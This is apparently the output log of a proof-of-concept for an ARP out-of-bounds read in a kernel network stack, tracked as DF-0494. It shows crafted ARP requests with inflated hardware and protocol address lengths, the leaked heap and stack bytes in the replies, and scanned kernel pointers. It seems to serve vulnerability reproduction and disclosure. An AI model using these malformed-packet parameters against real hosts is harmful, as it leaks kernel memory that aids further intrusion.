=== HEAP LEAK: ar_hln=100, ar_pln=4 === === DF-0494 ARP ar_hln/ar_pln OOB-read PoC === ar_hln=100 ar_pln=4 arp_body=216 frame=230 victim_ip=10.99.99.1 [*] injecting crafted ARP REQUEST via /dev/tap0 (ingress) [+] injected 230 bytes [+] captured reply frame: 230 bytes [*] reply ether-dst = 02:00:de:ad:be:ef (== attacker mac) [*] reply ether-src = 00:bd:1b:a1:00:00 (== tap0 real mac) [*] reply ar_op=0x0002 (REPLY) ar_hln=100 ar_pln=4 [#####] HEAP LEAK (ar_sha, 94 OOB bytes past 6-byte MAC) [#####] ---- reply ar_sha region [memcpy(ar_sha, IF_LLADDR, ar_hln)] (100 bytes; bytes [6..99] are the OOB leak) ---- 0000: 00 bd 1b a1 00 00 00 00 00 00 00 00 00 00 00 00 |................| 0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 0020: 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 |................| 0030: 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 |................| 0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 0060: 00 00 00 00 |....| -- kernel-pointer scan in heap leak -- heap + 40 (abs 46): 0xffff000000000000 [#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####] ---- reply ar_spa region [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ---- 0000: 0a 63 63 01 |.cc.| [*] reply ar_tha (should echo attacker mac + 0xCC filler): 02 00 de ad be ef cc cc cc cc cc cc cc cc cc cc ... [+] DF-0494 REPRODUCED: victim returned 94 heap OOB bytes + 0 stack OOB bytes === STACK LEAK: ar_hln=6, ar_pln=100 === === DF-0494 ARP ar_hln/ar_pln OOB-read PoC === ar_hln=6 ar_pln=100 arp_body=220 frame=234 victim_ip=10.99.99.1 [*] injecting crafted ARP REQUEST via /dev/tap0 (ingress) [+] injected 234 bytes [+] captured reply frame: 234 bytes [*] reply ether-dst = 02:00:de:ad:be:ef (== attacker mac) [*] reply ether-src = 00:bd:33:a1:00:00 (== tap0 real mac) [*] reply ar_op=0x0002 (REPLY) ar_hln=6 ar_pln=100 [#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte MAC) [#####] ---- reply ar_sha region [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ---- 0000: 00 bd 33 a1 00 00 |..3...| [#####] STACK LEAK (ar_spa, 96 OOB bytes past 4-byte &taddr) [#####] ---- reply ar_spa region [memcpy(ar_spa, &taddr, ar_pln)] (100 bytes; bytes [4..99] are the OOB leak) ---- 0000: 0a 63 63 01 80 8a 1f 8d 00 f8 ff ff d2 b1 67 80 |.cc...........g.| 0010: ff ff ff ff 1f 00 00 00 00 00 00 00 20 00 00 00 |............ ...| 0020: 00 00 00 00 30 f0 ab 8b 00 f8 ff ff 00 f0 ab 8b |....0...........| 0030: 00 f8 ff ff 00 f0 ab 8b 00 f8 ff ff 40 60 17 81 |............@`..| 0040: ff ff ff ff b0 8a 1f 8d 00 f8 ff ff a9 64 74 80 |.............dt.| 0050: ff ff ff ff 40 60 17 81 ff ff ff ff 00 20 8c 81 |....@`....... ..| 0060: ff ff ff ff |....| -- kernel-pointer scan in stack leak -- stack + 0 (abs 4): 0xfffff8008d1f8a80 stack + 8 (abs 12): 0xffffffff8067b1d2 stack + 32 (abs 36): 0xfffff8008babf030 stack + 40 (abs 44): 0xfffff8008babf000 stack + 48 (abs 52): 0xfffff8008babf000 stack + 56 (abs 60): 0xffffffff81176040 stack + 64 (abs 68): 0xfffff8008d1f8ab0 stack + 72 (abs 76): 0xffffffff807464a9 stack + 80 (abs 84): 0xffffffff81176040 stack + 88 (abs 92): 0xffffffff818c2000 [*] reply ar_tha (should echo attacker mac + 0xCC filler): 02 00 de ad be ef ... [+] DF-0494 REPRODUCED: victim returned 0 heap OOB bytes + 96 stack OOB bytes === SANITY: ar_hln=6, ar_pln=4 (expect 0 leak) === === DF-0494 ARP ar_hln/ar_pln OOB-read PoC === ar_hln=6 ar_pln=4 arp_body=28 frame=42 victim_ip=10.99.99.1 [*] injecting crafted ARP REQUEST via /dev/tap0 (ingress) [+] injected 42 bytes [+] captured reply frame: 42 bytes [*] reply ether-dst = 02:00:de:ad:be:ef (== attacker mac) [*] reply ether-src = 00:bd:50:a1:00:00 (== tap0 real mac) [*] reply ar_op=0x0002 (REPLY) ar_hln=6 ar_pln=4 [#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte MAC) [#####] ---- reply ar_sha region [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ---- 0000: 00 bd 50 a1 00 00 |..P...| [#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####] ---- reply ar_spa region [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ---- 0000: 0a 63 63 01 |.cc.| [*] reply ar_tha (should echo attacker mac + 0xCC filler): 02 00 de ad be ef ... [+] DF-0494 REPRODUCED: victim returned 0 heap OOB bytes + 0 stack OOB bytes